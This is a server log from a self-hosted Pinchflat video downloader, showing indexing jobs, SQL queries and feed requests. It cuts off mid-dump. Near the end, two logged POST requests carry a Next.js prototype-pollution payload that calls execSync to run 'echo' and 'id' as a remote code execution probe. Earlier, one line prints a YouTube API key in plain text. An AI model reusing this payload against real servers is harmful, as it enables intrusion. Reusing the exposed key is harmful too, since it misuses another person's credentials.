(m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [2, 2000] 16:38:44.057 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1179.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [2] 16:38:44.057 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1179.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564181] 16:38:44.057 [info] Sent 200 in 4ms 16:38:58.421 [info] {"source":"oban","duration":7868,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:00.029 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:39:28.432 [info] {"source":"oban","duration":10005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:58.444 [info] {"source":"oban","duration":10866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:00.030 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:40:28.453 [info] {"source":"oban","duration":7742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:37.850 [info] {"args":{"id":37},"id":3799997,"meta":{},"system_time":1770763237850409417,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:40:37.851 [debug] QUERY OK source="sources" db=0.9ms idle=1972.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 16:40:37.852 [debug] QUERY OK source="settings" db=0.4ms idle=1973.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:40:37.853 [debug] QUERY OK source="media_profiles" db=0.9ms idle=1010.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:40:37.853 [debug] QUERY OK source="settings" db=0.1ms idle=9.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:40:37.853 [debug] Fetching recent media IDs from YouTube API for playlist: UUcZqcdpiaDR3wbvS2Yu9xfw 16:40:37.853 [debug] QUERY OK source="settings" db=0.0ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:40:37.853 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:40:38.189 [debug] QUERY OK source="media_items" db=0.8ms idle=337.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [37, "ZempW3DeiHc", "K5YEoWYl75s", "EcPzDxji3SE", "hI90sPvV0C0", "o4Y-u-_8VsU", "VZLpFA3HIM8", "8MK5FLwpfqc", "n6awTDNkxvA", "hhm0nu3Ep5s", "nZyEptt3pdk", "scmdr8dVddQ", "Ri0KylA5D2c", "fIPdFsMu0HY", "j3s_4Mnl55Y", "BfHhAubdTSM", "Ts33nJu9pLo", "1MsM7pFS2og", "tUER2cEjTSU", "zl2h07mHIH0", "Pm8AeE5wRHg", "3K5jPjdV_BU", "tInJ45Gr6nE", "sNypPfHbnkw", "Qror46CYz_8", "cJt-0XogsL4", "QdpY9eQXXlc", "89w5_-zcexo", "sXrVvwFJpfo", "26Yd2Wma-HI", "VNAKa-7-1xQ", "4U5QrFcHibU", "qtILvKKg4Yo", "J1lEA9Tef44", "TCk8j-4etKk", "tARk9xBflxo", "Sn88ZdL1pnM", "V0skKmeOIiU", "czAdrqvhvBM", "Na2eWpXkGWo", "h4-WqlqeDjc", "Nig4e3UZ0Ak", "R79HCCLJkig", "iOAl0xuNyQ8", "U7W1KL0xHrw", "JXIH6G9b0Mw", "4VAoSHYbFe8", "rX66ykNnlLE", "tubBaYmpqQs", "bc6s9Nn73FI", ...] 16:40:38.190 [debug] QUERY OK source="settings" db=0.0ms idle=338.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:40:38.190 [debug] QUERY OK source="settings" db=0.0ms idle=337.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:40:38.190 [debug] Running yt-dlp command for action: get_media_attributes 16:40:38.191 [debug] QUERY OK source="settings" db=0.0ms idle=338.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:40:38.191 [debug] QUERY OK source="settings" db=0.0ms idle=338.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:40:38.192 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:40:38.192 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/3e/a0/3ea024415299d96eaf8973a8d3f142c9d1eb1bcb0d430264ebb455ecb425a576.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:40:39.553 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/3e/a0/3ea024415299d96eaf8973a8d3f142c9d1eb1bcb0d430264ebb455ecb425a576.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] n6awTDNkxvA: This live event will begin in 17 hours. 16:40:39.553 [error] Error creating media item 'n6awTDNkxvA' from URL: {:error, "ERROR: [youtube] n6awTDNkxvA: This live event will begin in 17 hours.\n", 1} 16:40:39.554 [debug] QUERY OK source="media_items" db=0.9ms idle=1362.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [37] 16:40:39.555 [debug] QUERY OK source="tasks" db=0.1ms idle=709.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800036, 37, ~U[2026-02-10 22:40:39Z], ~U[2026-02-10 22:40:39Z]] 16:40:39.555 [info] {"args":{"id":37},"id":3799997,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":1704940,"event":"job:stop","queue_time":70458,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:40:58.465 [info] {"source":"oban","duration":11796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:00.031 [info] {"source":"oban","duration":198,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:41:28.476 [info] {"source":"oban","duration":10593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:57.844 [info] GET /sources/c51e32e0-2c05-4283-a353-f696e78984fa/feed.xml 16:41:57.844 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "c51e32e0-2c05-4283-a353-f696e78984fa"} Pipelines: [:maybe_basic_auth] 16:41:57.844 [debug] QUERY OK source="sources" db=0.1ms idle=1966.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["c51e32e0-2c05-4283-a353-f696e78984fa"] 16:41:57.845 [debug] QUERY OK source="media_items" db=0.2ms idle=1966.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [13, 2000] 16:41:57.845 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1967.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [13] 16:41:57.845 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1921.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564168] 16:41:57.845 [info] Sent 200 in 1ms 16:41:58.487 [info] {"source":"oban","duration":10259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:00.032 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:42:12.113 [info] POST / 16:42:12.113 [debug] QUERY OK source="settings" db=0.1ms idle=1235.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:42:12.113 [debug] QUERY OK source="settings" db=0.0ms idle=1174.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:42:12.113 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:42:12.114 [error] #PID<0.22339.0> running PinchflatWeb.Endpoint (connection #PID<0.22338.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: POST / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.22338.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 56088}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "content-length" => "643", "content-type" => "multipart/form-data; boundary=f922c3a6612afad6a9f798601566d5d907074db11f52dc80ad54d01d47d7", "host" => "pinchflat.burns-family.net", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "213.209.159.175", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "213.209.159.175" }, method: "POST", body_length: 643, path_info: :undefined, qs: "", host_info: :undefined, has_body: true, has_read_body: true, streamid: 1 }}, assigns: %{}, body_params: %{ "0" => "{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_12345',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\"},\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\"}", "1" => "\"$@0\"" }, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "POST", owner: #PID<0.22339.0>, params: %{ "0" => "{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_12345',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\"},\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\"}", "1" => "\"$@0\"" }, path_info: [], path_params: %{}, port: 80, private: %{ :plug_multipart => :done, PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"content-length", "643"}, {"content-type", "multipart/form-data; boundary=f922c3a6612afad6a9f798601566d5d907074db11f52dc80ad54d01d47d7"}, {"host", "pinchflat.burns-family.net"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "213.209.159.175"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "213.209.159.175"} ], request_path: "/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMD3l_k5gZTkhQABe_i"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.22338.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 56088}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "content-length" => "643", "content-type" => "multipart/form-data; boundary=f922c3a6612afad6a9f798601566d5d907074db11f52dc80ad54d01d47d7", "host" => "pinchflat.burns-family.net", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "213.209.159.175", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "213.209.159.175" }, method: "POST", body_length: 643, path_info: :undefined, qs: "", host_info: :undefined, has_body: true, has_read_body: true, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.22338.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 56088}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "content-length" => "643", "content-type" => "multipart/form-data; boundary=f922c3a6612afad6a9f798601566d5d907074db11f52dc80ad54d01d47d7", "host" => "pinchflat.burns-family.net", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "213.209.159.175", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "213.209.159.175" }, method: "POST", body_length: 643, path_info: :undefined, qs: "", host_info: :undefined, has_body: true, has_read_body: true, streamid: 1 }}, assigns: %{}, body_params: %{ "0" => "{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\" (truncated) 16:42:12.459 [info] POST / 16:42:12.459 [debug] QUERY OK source="settings" db=0.1ms idle=581.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:42:12.459 [debug] QUERY OK source="settings" db=0.0ms idle=581.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:42:12.459 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:42:12.460 [error] #PID<0.22341.0> running PinchflatWeb.Endpoint (connection #PID<0.22340.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: POST / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.22340.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 56102}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "content-length" => "625", "content-type" => "multipart/form-data; boundary=fe17c87d23909a509de210ced743a5839da5ac6cd99949e59cd70c9a3f78", "host" => "pinchflat.burns-family.net", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "213.209.159.175", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "213.209.159.175" }, method: "POST", body_length: 625, path_info: :undefined, qs: "", host_info: :undefined, has_body: true, has_read_body: true, streamid: 1 }}, assigns: %{}, body_params: %{ "0" => "{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('id',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\"},\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\"}", "1" => "\"$@0\"" }, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "POST", owner: #PID<0.22341.0>, params: %{ "0" => "{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('id',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\"},\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\"}", "1" => "\"$@0\"" }, path_info: [], path_params: %{}, port: 80, private: %{ :plug_multipart => :done, PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"content-length", "625"}, {"content-type", "multipart/form-data; boundary=fe17c87d23909a509de210ced743a5839da5ac6cd99949e59cd70c9a3f78"}, {"host", "pinchflat.burns-family.net"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "213.209.159.175"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "213.209.159.175"} ], request_path: "/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMD3nSGqDJ5i-AACShh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.22340.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 56102}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "content-length" => "625", "content-type" => "multipart/form-data; boundary=fe17c87d23909a509de210ced743a5839da5ac6cd99949e59cd70c9a3f78", "host" => "pinchflat.burns-family.net", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "213.209.159.175", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "213.209.159.175" }, method: "POST", body_length: 625, path_info: :undefined, qs: "", host_info: :undefined, has_body: true, has_read_body: true, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: 